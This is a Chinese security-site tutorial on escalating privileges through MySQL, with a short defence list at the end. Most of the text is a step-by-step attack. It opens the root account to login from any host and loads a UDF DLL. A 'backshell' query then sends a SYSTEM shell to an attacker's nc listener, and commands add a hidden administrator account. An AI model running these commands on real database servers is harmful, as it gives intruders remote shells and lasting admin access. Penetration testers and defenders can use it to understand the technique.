MySQL数据库反弹端口连接提权

原创
安全 数据安全 应用安全
本文是作者simeon撰写的Mysql安全系列文章的第二篇,第一篇为《关系型数据库管理系统MySQL提权基础》。在本文中,他主要为大家提供了一种通过mysql查询来直接提权的思路。

【51CTO.com原创稿件】在渗透或者安全评估时,有可能遇到一些比较奇葩的环境,即使通过Mysql root账号和密码获取了webshell,由于无法执行命令。在一般的情况下,也就放弃了。但其实可以换一种思路,通过mysql查询来直接提权,可以针对以下场景:

(1)通过网站无法获取webshell

(2)Webshell无法执行命令

(3)有phpmyadmin和root账号,无法查询或者无法获取网站的真实路径

注:本文是笔者撰写的Mysql安全系列文章的第二篇。***篇为《关系型数据库管理系统MySQL提权基础》。

一、反弹端口连接提权的条件

1.访问Mysql数据库

获取了数据库root账号和密码或者相当于root权限的账号和密码,同时能够执行查询命令。换句话说可以通过phpmyadmin连接、通过网站后台的执行数据库命令或者“Navicat for MySQL”等客户端软件连接。

2.可导出文件udf.dll到系统目录或者Mysql数据库安装目录下的lib下的plugin目录。如果有上传条件,可以直接上传udf.dll到对应目录。Mysql5.1以下版本到c:\winnt\system32或者c:\windows\system32目录,Mysql5.1以上版本到Mysql安装目录下的plugin 目录,例如D:\ComsenzEXP\MySQL\lib\plugin。

3.授权mysql数据库远程用户登录

可以修改host为%,更新权限,然后通过Navicat for MySQL连接数据库,直接打开命令提示窗口进行导出。

允许远程用户登录访问mysql的方法,需要手动增加可以远程访问数据库的用户。

方法一:本地登入mysql,更改 "mysql" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%"

  1. use mysql; 
  2. update user set host = '%' where user = 'root'

FLUSH PRIVILEGES ;

方法二:直接授权

从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:

  1. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION 
  2. FLUSH PRIVILEGES

二、具体实现方法

1.连接mysql服务器

(1)通过mysql客户端工具可以直接连接

(2)通过phpmyadmin进行连接

(3)通过mysql.exe直接连接

2.执行查询命令

(1)网上提供的“\. c:\mysql.txt”命令会出错,***通过phpmyadmin或者Navicat for MySQL等工具来进行查询。修改mysql.txt中的***一行代码“select backshell("YourIP",4444);”为自己反弹的IP和反弹监听的端口。

(2)本地开启监听反弹的端口

nc.exe -vv -l -p 4444

(3)执行mysql查询,将mysql.txt文件内容复制到查询中执行。

成功后,你将获得一个system权限的cmdshell。

3.添加用户或者获取管理员密码

通过反弹shell添加用户antian365,密码www.antian365.com

  1. net user antian365 www.antian365.com /add  
  2. net localgroup administrators antian365 

三、一个提权实例

图1进行监听

1.在反弹监听服务器上进行端口监听

通过cmd命令提示符,执行nc监听命令:nc –vv –l –p 4444,表示在本地监听4444端口。如果是在公网上,这反弹监听服务器必须有独立IP,如果是内部网络,则可以直接使用内网IP,如图1所示。

图1进行监听

2.修改mysql.txt文件中反弹地址

在mysql.txt文件中将***一行代码修改为前面设置的监听IP地址和端口,如图2所示,例如代码:

select backshell("192.168.40.135",4444);//反弹监听服务器IP192.168.40.135,端口4444

图2修改查询代码中反弹shell地址和端口

图2修改查询代码中反弹shell地址和端口

这个也可以再次单独查询:select backshell("192.168.40.135",4444);

3.执行查询

可以通过mysql命令行下执行,也可以通过phpmyadmin查询窗口以及一些mysql客户端查询进行,如图3所示执行查询。

 

图3执行mysql查询

图3执行mysql查询

说明:

(1)如果已经存在ghost表和backshell函数,可以执行以下命令进行删除:

  1. drop table ghost;  
  2. drop FUNCTION backshell; 

(2)如果已经存在udf.dll,则可以跳过导出命令,执行:

  1. CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll'

3.查看反弹结果

如图4所示,显示通过连接mysql执行查询获取的终端反弹shell,在该shell下可以直接执行net user、whoami等命令查看当前权限。

图4查看反弹结果

图4查看反弹结果

四、防范方法

1.查看mysql数据库中user表授权的登录host,禁止具备Root账号权限的用户通过“%”进行登录。

2.禁止在网站CMS系统使用root账号进行配置。

3.设置root账号的密码为强密码。

4.对Mysql执行程序进行降权,禁止网站用户读取user.frm、user.myd、user.myi。例如D:\ComsenzEXP\MySQL\data\mysql下的user表文件user.frm、user.myd、user.myi要禁止网站用户读取和下载。

5.检查mysql数据库下的mysql表中是否存在其它无关表,检查func表中的内容。

6.可以在相应的目录下建立一个udf.dll空文件,并严格设置权限,任何人无读取和写入权限。

注:本文是笔者撰写的Mysql安全系列文章的第二篇,我们将会持续推出后续文章,敬请期待。

【51CTO原创稿件,合作站点转载请注明原文作者和出处为51CTO.com】

责任编辑:武晓燕 来源: 51CTO.com
相关推荐

2017-03-07 08:50:17

2017-02-16 10:00:46

2016-10-31 23:00:58

MySQLMOF方法提权数据库安全

2020-09-22 15:56:31

Java

2011-05-26 13:42:50

MFC连接MySql数据库

2017-11-27 11:41:06

python数据库数据分析

2024-01-02 08:47:42

2010-11-10 09:44:31

SQL Server端

2010-06-07 15:24:34

Java连接MYSQL

2011-03-07 11:36:23

FileZillaSe

2011-07-05 10:16:16

Qt 数据库 SQLite

2010-05-14 11:12:16

连接MySql

2020-11-23 14:16:42

Golang

2010-10-12 12:00:42

MySQL连接

2010-06-04 09:33:28

连接MySQL数据库

2009-11-24 16:48:15

PHP mysqli

2021-08-02 10:53:28

PythonMySQL数据库

2017-09-11 19:30:44

MySQLCmd命令连接数据库

2010-06-12 15:53:22

MySQL数据库

2009-08-12 14:23:01

C#连接MySql数据
点赞
收藏

51CTO技术栈公众号